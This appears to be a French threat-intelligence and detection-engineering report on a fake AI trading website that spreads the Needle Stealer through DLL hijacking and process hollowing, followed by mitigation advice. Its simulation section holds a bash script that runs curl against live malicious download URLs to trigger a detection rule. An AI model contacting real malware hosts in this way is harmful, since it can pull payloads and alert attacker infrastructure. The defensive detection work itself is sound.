Un Faux Site de Trading Installe un Malware qui Pirate les Navigateurs

Résumé

Un site Web frauduleux faisant la publicité d’un assistant de trading basé sur l’IA est utilisé pour propager le vol d’informations Needle Stealer. La chaîne d’infection repose sur le détournement de DLL et le creusement de processus pour injecter le malware dans RegAsm.exe, l’aidant à se fondre dans l’activité légitime du système. Une fois actif, le voleur collecte les données du navigateur, cible les informations des portefeuilles de cryptomonnaie et peut déployer des extensions de navigateur malveillantes pour approfondir la compromission. La communication avec l’infrastructure contrôlée par l’attaquant est gérée via plusieurs points de terminaison d’API HTTP.

Enquête

Les chercheurs ont retracé le flux d’infection jusqu’à une archive ZIP téléchargée depuis tradingclaw.pro, qui contenait un chargeur de DLL nommé iviewers.dll. Ce chargeur a installé une DLL de deuxième étape qui a creusé RegAsm.exe et lancé le Needle Stealer basé sur Golang. Une analyse plus poussée a montré que le voleur extrayait des archives ZIP dissimulées contenant des extensions de navigateur malveillantes ainsi qu’un fichier de configuration qui définissait ses serveurs de commande et de contrôle.

Atténuation

Les utilisateurs doivent éviter de télécharger des logiciels à partir de sites Web non fiables et toujours vérifier les signatures des éditeurs avant d’exécuter un installateur. Les équipes de sécurité doivent auditer régulièrement les extensions de navigateur installées et supprimer celles qui semblent non autorisées ou suspectes. La surveillance du réseau doit être configurée pour détecter le trafic vers les noms de domaine et adresses IP malveillants connus liés à la campagne. Les outils de protection des points de terminaison doivent également être ajustés pour identifier le comportement de détournement de DLL et les techniques de creusement de processus.

Réponse

Les défenseurs doivent vérifier la télémétrie des points de terminaison pour l’exécution de iviewers.dll et des signes d’injection dans RegAsm.exe. Les domaines de commande et de contrôle identifiés et les adresses IP doivent être bloqués au niveau du pare-feu ou du proxy. Les équipes de sécurité doivent mettre en quarantaine les fichiers qui correspondent aux hachages ou noms de fichiers signalés, retirer les extensions suspectes de %LOCALAPPDATA%PackagesExtensions, et réinitialiser les identifiants liés aux comptes affectés. Tout portefeuille de cryptomonnaie potentiellement impacté doit également être vérifié pour une activité non autorisée.

Exécution de Simulation

Prérequis : Le contrôle préalable de télémétrie et de base doit être passé.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narratif d’Attaque & Commandes :
  Un adversaire ayant obtenu le malware Needle Stealer l’héberge sur le domaine malveillant tradingclaw.pro. L’attaquant persuade une victime d’ouvrir un lien malveillant (par exemple, via un e-mail de phishing). Le navigateur de la victime effectue une requête HTTP GET vers http://tradingclaw.pro/stealer.exe, que le proxy enregistre. Comme l’URL contient la chaîne exacte tradingclaw.pro, la condition de la règle Sigma (url|contains) s’évalue à vrai, générant une alerte.

  Pour reproduire cela dans un environnement de test, nous émettons une commande directe curl vers le domaine malveillant. La requête est conçue pour ressembler à un trafic utilisateur typique (User-Agent standard, sans en-têtes spéciaux) de sorte que seul le domaine correspond drive l’alerte.

• Script de Test de Régression :

  #!/usr/bin/env bash
  # ------------------------------------------------------------
  # Simulate malicious access to trigger the "Malicious TradingClaw"
  # detection rule.
  # ------------------------------------------------------------
  
  set -euo pipefail
  
  # Define the malicious URLs (exact strings used by the rule)
  MALICIOUS_URLS=(
      "http://tradingclaw.pro/stealer.exe"
      "https://studypages.com/download/needle.exe"
  )
  
  for url in "${MALICIOUS_URLS[@]}"; do
      echo "[*] Requesting ${url}"
      # Use a realistic user‑agent to mimic a browser
      curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" 
           -s -o /dev/null "${url}"
  done
  
  echo "[+] Simulation completed."

• Commandes de Nettoyage :

  # No persistent artifacts are created by the curl requests.
  # Flush DNS cache to avoid accidental reuse of the domain in later tests.
  if command -v ipconfig >/dev/null 2>&1; then
      ipconfig /flushdns
  elif command -v systemd-resolve >/dev/null 2>&1; then
      systemd-resolve --flush-caches
  fi
  echo "[+] Cleanup completed."

Fin du Rapport